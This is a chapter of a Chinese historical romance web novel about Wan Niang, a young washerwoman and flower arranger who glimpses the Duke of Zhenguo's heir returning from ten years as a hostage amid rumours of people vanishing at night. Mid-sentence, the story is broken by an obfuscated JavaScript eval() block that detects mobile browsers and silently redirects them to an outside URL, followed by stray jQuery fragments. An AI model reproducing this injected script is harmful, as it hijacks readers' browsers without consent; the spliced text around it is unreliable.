初春傍晚，宁州城外护城河边。
“绾娘！还在浣衣呢！”
“欸——”被唤名的女子应了一声，手里的棒槌却也没有停下动作锤着衣服。明明是才开春不久，女子身上的衣服却还是薄薄两件，此时也有被汗水微微浸湿的样。
“诶哟可真是勤快啊，你阿舅还好有你这样的侄女儿。”问话的妇人抱着篮子走近了，“只是绾娘啊，我听宋夫子说再过个两日这书院就要开门的，你阿舅今年的事儿……还办不？他身体最近好些了没？”
“办的办的。”绾娘停了手上的活儿,擦了擦额头的汗，笑着说“不过再快得等后天了，到时候还是老地方，还劳烦刘大婶儿你帮我转告一下乡亲们。”
“好好，办就好。”得了消息的妇人笑眼盈盈，从篮子里捞了两枝迎春花枝条，“到时候还是辛苦绾娘和你阿舅了，带这两支迎春花放置家里添点春色，看着也有个好心情。”
绾娘道谢接过枝条，迎春花尚是金黄的花骨朵，还未绽开，却也见得几分春意，养上几天定是好看的。她抬手捋了捋耳边的碎发，露出额头来，一双明亮的桃花眼和小巧的鼻梁一侧各点缀着一颗小小的痣。一头黑发梳作双丫髻，扎在耳后齐平的高度，左右各插着短短的扇形簪，簪上各绑了一根长长的青色丝带，丝带垂下和发尾在风中缠绕在一起。
她身上穿的是寻常的粗布麻衣，一件窄袖的蓝色短衫，袖口利落地挽了两折，露出半截小臂，左手袖口挽起来的地方用臂钏固定着，腰间系着一条半旧的靛蓝围裙，裙摆上还沾着方才浣衣溅上的水渍。
傍晚的余晖映照下，绾娘红扑扑的脸上也染着笑意，狭长的桃花眼弯作一弧，衬着她比手里那两枝迎春花还生出几分春意来。
“绾娘你这几日记得早些归家，听闻最近入夜后城里不太平安，咱们这旁村的也跟着受怕呢！”走了几步远的刘大婶儿又回过头对绾娘说。
“好——”
绾娘带着一篮子的衣物回到院子里时，天已经黑了，房间里还没有光亮。绾娘放下篮子往里走，“阿铃，阿舅——”
没人应。
绾娘心里隐隐不安，不会是阿舅出事了吧？这样想着，正着急往房间走呢，一推门，差点扑了空，阿铃端着烛台来开了门。见到阿铃，绾娘这才放下心来。“阿舅呢？怎的今日不点火？”
阿铃说不了话，抬手指了指旁边的榻上，阿舅在上边躺着，绾娘借微弱的光确认阿舅的胸脯有在缓缓的起伏，这才放下心来，想必是阿舅身体还未好转，为了省些灯，睡得早了。确认无事后，绾娘对阿铃问道，“阿舅今日的药可喝了才睡的？”
阿铃点点头，看了一眼绾娘放在院子里的篮子，便端着蜡烛往外走。绾娘跟着从房间里退出来，轻轻把门关上，顺手将迎春花枝条放在门口水缸旁的竹筒里，两姐妹就这样无言相伴，来到院子里把洗好的衣服晾在杆上。
“这么说，其实今晚月亮也挺亮的，早知道便不唤你了，省的还点火。”绾娘在身前的衣裙上擦了擦手，抬头看了看月亮又低头看了看树桩上燃着微弱光线的蜡烛。
阿铃眨眨眼，转身挥手把蜡烛灭了。
……
好像是这么个意思，不过是不是有些迟了……
晾完衣服，阿铃端起蜡烛往房间里屋走去。绾娘借着月光在厨房给自己烧了水洗漱一番后，回到里屋躺下。里屋的窗子没关，月光渗进屋子，刚开春的夜晚也添着丝丝寒意。绾娘躺在床上，接过阿铃递过来的被子盖上，一边摸着放下来的刘海想着白日里刘大婶儿说的事。
不太平？真是稀罕事儿。自从爹娘失踪后搬来这边随舅舅住已经有好些年头，因着镇国公府坐镇这宁州城中，城里向来太平，搬来这些年，也从不曾听过什么祸事。罢了，只希望不要耽误了她做活儿才是。夏疏晚侧了身调整着睡姿安然睡去。
第二日一早，绾娘便收拾着往城里赶。到市集买了初春时分开的正盛的梅花，杏花和桃花枝，正在盘算着今日的工钱，走到大道上发现路两边围满了人似在观望什么，绾娘好奇地跟着抬头，看到太阳升起的高度，心觉不妙，上工的时间快要来不及了！只好一边护着怀里的花，一边拨开路人从人群挤过。
“不好意思借过借过，不好意思……”，好不容易挤到芳庭院门口，正在松口气的时候，听得身后传来一阵马蹄急响，紧跟着便有人扯着嗓子高喊：
“世子回城——恭迎世子回城——”
路边的百姓争相踮脚朝前望，口中叽叽喳喳说着什么“十年了”“世子可算回来了”之类的话。
镇国公世子木清玄，十年前皇朝和南蛮征战不断，打了大半年没个胜负，两国使臣来来往往商议和谈之事，最终定下休战契书，商定要皇朝送去质子，而南蛮也不再犯边境，每年进贡以示诚意。彼时老皇帝膝下只有太子一个儿子，而战事不停百姓不得安宁，正左右为难时，年方十岁的镇国公世子便站出来称愿替太子前往。这一去就是十年。
镇国公府？绾娘想到这里脚步渐渐放缓，抬眼看到缓缓行来的马车。车轿不算张扬，素青的车帷，乌木的车架，拉车的马也是通体漆黑，唯有四角垂下的铜铃随着行进而轻轻作响，叮叮当当的，在人群中响得倒是十分清脆。
绾娘在人群中方才站定，又被身旁的人挤得往后退了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969824|214631||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
半步，怀里的花枝微微晃了晃，几片杏花瓣落在衣袖上。她低头去拂，恰在这时，一阵风过，将那青帷车帘掀起了一角。
只一瞬。
马车里坐着个年轻男子，身量清瘦，一袭月白暗纹的袍子衬得他面色有些苍白，像是久不见天光的人。他微微侧着脸，眼尾略略上挑，一双眸子形状狭长，恍惚间竟像狐狸的眼，魅惑的有些摄人心魂。
绾娘怔了一下。
那车里的人也似有所觉，缓缓抬过眼来。隔着被风掀起的帷帘一角，那双狐狸似的眼睛不偏不倚，正落在她身上。
她怀里抱着满满一把花，衬着她那张因赶路而微微泛红的脸，额角还沾着片没来得及拂去的花瓣，风吹动她发簪上的天青色发带。
风落，帘垂。
车队缓缓过去，铜铃声渐行渐远。人群还沉浸在方才的热闹里，叽叽喳喳议论不休。绾娘却站在原地愣了愣神。
“绾娘！还愣着做什么，今儿个活计可多着呢！”芳庭院里传出老鸨催促的声音。
“欸，来了来了！”绾娘回过神来，连忙抱着花枝跨进了门槛。那满怀抱的春色在门边一闪，便消失在庭院深处。
院子里几株老梅正开到尾声，零星的花瓣落在青石地上，倒与她怀里的新鲜花枝相映成趣。她熟门熟路绕到后院娘子们的房间里，才推开门，迎面便是一阵脂粉香与暖融融的热气。
绾娘走到桌边，将花枝一支支理开，浸入清水盆中，拿剪子斜斜地修去多余的叶子和枝条，指尖沾着水，修剪出最适合簪发的长度摆在一旁备用。
房间的窗子敞着，窗边几个闲着的娘子围在一处说话。
“你们可瞧见今儿街上的阵仗了？”
“那可不？听说镇国公府就这一位公子，十年前送去邻国做质子，那时才多大点儿？才十岁吧。”
“哎哟，那可不就是打小离了家，在别人眼皮子底下长大的？想想也知道不好过。十年呢，人一辈子能有几个十年。”
“是啊，听说南蛮那地方，可真是住不得人呢，如今能全须全尾地回来就不错了。”
绾娘手里的剪子顿了顿，眼前又浮现出那双狐狸似的眼睛。她摇摇头把那画面赶走，继续手里的活儿。
娘子们话头一转。
“不过你们听说了没有，近来城里不太平。前几日东街有个卖花的姑娘，收摊之后没回家，家里人找了一宿没找着。”
“我听说城南也有，是个裁缝铺子的小伙计，晚上关了门就不见人了。”
“好好的大活人，说没就没了？”
“所以才叫人不踏实啊，难道说世上真的有鬼……”